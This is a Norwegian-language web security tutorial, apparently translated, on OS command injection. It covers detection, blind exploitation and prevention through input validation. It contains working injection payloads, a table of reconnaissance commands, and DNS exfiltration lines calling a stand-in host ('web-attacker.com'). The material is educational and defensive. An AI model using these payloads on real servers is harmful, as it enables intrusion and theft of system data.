OS command injection

i denne delen vil vi forklare HVA OS command injection er, beskrive hvordan sårbarheter kan oppdages og utnyttes, stave ut noen nyttige kommandoer og teknikker for forskjellige operativsystemer, og oppsummere hvordan du kan forhindre OS command injection.

OS kommando injeksjon

Hva ER OS kommando injeksjon?

OS command injection (også kjent som shell injection) ER ET sikkerhetsproblem på nettet som gjør det mulig for en angriper å utføre vilkårlig operativsystemkommandoer (OS) på serveren som kjører et program, og vanligvis kompromitterer programmet og alle dataene. Svært ofte kan en angriper utnytte EN OS-kommandoinjeksjonssårbarhet for å kompromittere andre deler av vertsinfrastrukturen, og utnytte tillitsforhold for å dreie angrepet til andre systemer i organisasjonen.

Utfør vilkårlige kommandoer

Vurder et shoppingprogram som lar brukeren se om en vare er på lager i en bestemt butikk. Denne informasjonen er tilgjengelig via EN URL som:

https://insecure-website.com/stockStatus?productID=381&storeID=29

for å gi lagerinformasjon, må programmet spørre ulike eldre systemer. Av historiske årsaker implementeres funksjonaliteten ved å ringe ut til en shell-kommando med produkt-Og lagre-Id-Er som argumenter:

stockreport.pl 381 29

denne kommandoen sender lagerstatusen for den angitte varen, som returneres til brukeren.

siden programmet implementerer ingen forsvar mot OS command injection, kan en angriper sende inn følgende inngang for å utføre en vilkårlig kommando:

& echo aiwefwlguh &

Hvis denne inngangen er sendt inn i parameteren productID, blir kommandoen utført av programmet:

stockreport.pl & echo aiwefwlguh & 29

kommandoen echo fører bare til at den medfølgende strengen blir ekko i utgangen, og er en nyttig måte å teste for NOEN TYPER OS-kommandoinjeksjon. Tegnet & er en shell command separator, og det som blir utført er faktisk tre separate kommandoer etter hverandre. Som et resultat er utgangen returnert til brukeren:

Error - productID was not provided
aiwefwlguh
29: command not found

de tre linjene i produksjonen viser at:

  • den opprinnelige kommandoen stockreport.pl ble utført uten forventede argumenter, og returnerte derfor en feilmelding.
  • kommandoen injisert echo ble utført, og den medfølgende strengen ble gjentatt i utgangen.
  • det opprinnelige argumentet 29 ble utført som en kommando, noe som forårsaket en feil.

Plassering av ekstra kommandoseparator & etter den injiserte kommandoen er generelt nyttig fordi den skiller den injiserte kommandoen fra det som følger injeksjonspunktet. Dette reduserer sannsynligheten for at det som følger vil forhindre den injiserte kommandoen fra å utføre.

Nyttige kommandoer

når DU har identifisert ET SIKKERHETSPROBLEM MED OS command injection, er det generelt nyttig å utføre noen innledende kommandoer for å få informasjon om systemet du har kompromittert. Nedenfor er et sammendrag av noen kommandoer som er nyttige På Linux – og Windows-plattformer:

Formålet med kommandoen Linux Windows
navn på nåværende bruker whoami whoami
Operativsystem uname -a ver
Nettverkskonfigurasjon ifconfig ipconfig /all
Nettverkstilkoblinger netstat -an netstat -an
Prosesser Som Kjører ps -ef tasklist

sårbarheter For Blind os-kommandoinjeksjon

MANGE FOREKOMSTER AV OS command injection er blinde sårbarheter. Dette betyr at programmet ikke returnerer utdataene fra kommandoen i HTTP-svaret. Blind sårbarheter kan fortsatt utnyttes, men ulike teknikker er nødvendig.

Vurder et webområde som lar brukere sende tilbakemelding om området. Brukeren skriver inn sin e-postadresse og tilbakemelding melding. Programmet på serversiden genererer deretter en e-post til en områdeadministrator som inneholder tilbakemeldingen. For å gjøre dette, ringer det til mail – programmet med de innsendte detaljene. Eksempelvis:

mail -s "This site is great" -aFrom:[email protected] [email protected]

utgangen fra kommandoen mail (hvis noen) returneres ikke i programmets svar, og bruk av nyttelasten echo ville ikke være effektiv. I denne situasjonen kan du bruke en rekke andre teknikker for å oppdage og utnytte et sikkerhetsproblem.

Oppdager blind OS command injection ved hjelp av tidsforsinkelser

Du kan bruke en injisert kommando som vil utløse en tidsforsinkelse, slik at du kan bekrefte at kommandoen ble utført basert på tiden programmet tar for å svare. Kommandoen ping er en effektiv måte å gjøre dette på, da det lar deg angi antall ICMP-pakker som skal sendes, og derfor tiden det tar for kommandoen å kjøre:

& ping -c 10 127.0.0.1 &

denne kommandoen vil føre til at programmet pinger sin loopback nettverkskort i 10 sekunder.

Utnytte blind OS command injection ved å omdirigere utgang

du kan omdirigere utdataene fra den injiserte kommandoen til en fil i webroten som du deretter kan hente ved hjelp av nettleseren din. For eksempel, hvis programmet serverer statiske ressurser fra filsystemplasseringen /var/www/static, kan du sende inn følgende innspill:

& whoami > /var/www/static/whoami.txt &

tegnet > sender utdataene fra kommandoen whoami til den angitte filen. Du kan deretter bruke nettleseren til å hente https://vulnerable-website.com/whoami.txt for å hente filen, og vise utdataene fra den injiserte kommandoen.

Utnytte blind OS kommando injeksjon ved hjelp av out-of-band (oast) teknikker

Du kan bruke en injisert kommando som vil utløse en out-of-band nettverk interaksjon med et system som du kontrollerer, ved HJELP AV oast teknikker. For eksempel:

& nslookup kgji2ohoyw.web-attacker.com &

denne nyttelasten bruker kommandoen nslookup til å forårsake ET DNS-oppslag for det angitte domenet. Angriperen kan overvåke for det angitte oppslaget som oppstår,og dermed oppdage at kommandoen ble injisert.

out-of-band-kanalen gir også en enkel måte å exfiltrere utgangen fra injiserte kommandoer:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

DETTE vil føre TIL ET DNS-oppslag til angriperens domene som inneholder resultatet av kommandoen whoami :

wwwuser.kgji2ohoyw.web-attacker.com

Måter å injisere OS kommandoer

en rekke shell metategn kan brukes til å utføre OS kommando injeksjon angrep.

et antall tegn fungerer som kommandoseparatorer, slik at kommandoer kan lenkes sammen. Følgende kommandoseparatorer fungerer på Både Windows-og Unix-baserte systemer:

  • &
  • &&
  • |
  • ||

følgende kommandoseparatorer fungerer bare På Unix-baserte systemer:

  • ;
  • Linjeskift (0x0a eller \n)

På Unix-baserte systemer kan du også bruke backticks eller dollar-tegnet til å utføre inline-utførelse av en injisert kommando i den opprinnelige kommandoen:

  • ` injisert kommando `
  • $( injisert kommando )

Vær oppmerksom på at de forskjellige shell-metategnene har subtilt forskjellige virkemåter som kan påvirke om de fungerer i visse situasjoner, og om de tillater in-band-henting av kommandoutgang eller bare er nyttige for blind utnyttelse.

noen ganger vises inngangen du kontrollerer i anførselstegn i den opprinnelige kommandoen. I denne situasjonen må du avslutte den siterte konteksten (ved hjelp av " eller ') før du bruker egnede shell-metategn for å injisere en ny kommando.

hvordan forhindre OS command injection attacks

langt den mest effektive måten å forhindre OS command injection sårbarheter er å aldri ringe UT TIL OS-kommandoer fra programlagskode. I nesten alle tilfeller finnes det alternative måter å implementere den nødvendige funksjonaliteten på ved hjelp av sikrere plattform-Api-Er.

hvis DET anses uunngåelig å ringe UT TIL OS-kommandoer med brukerlevert inngang, må sterk inngangsvalidering utføres. Noen eksempler på effektiv validering inkluderer:

  • Validere mot en hviteliste over tillatte verdier.
  • Validere at inngangen er et tall.
  • Validerer at inndata bare inneholder alfanumeriske tegn, ingen annen syntaks eller mellomrom.

forsøk Aldri å rense inndata ved å unnslippe skall metategn. I praksis er dette bare for feilutsatt og sårbart for å bli omgått av en dyktig angriper.

You might also like

Legg igjen en kommentar

Din e-postadresse vil ikke bli publisert.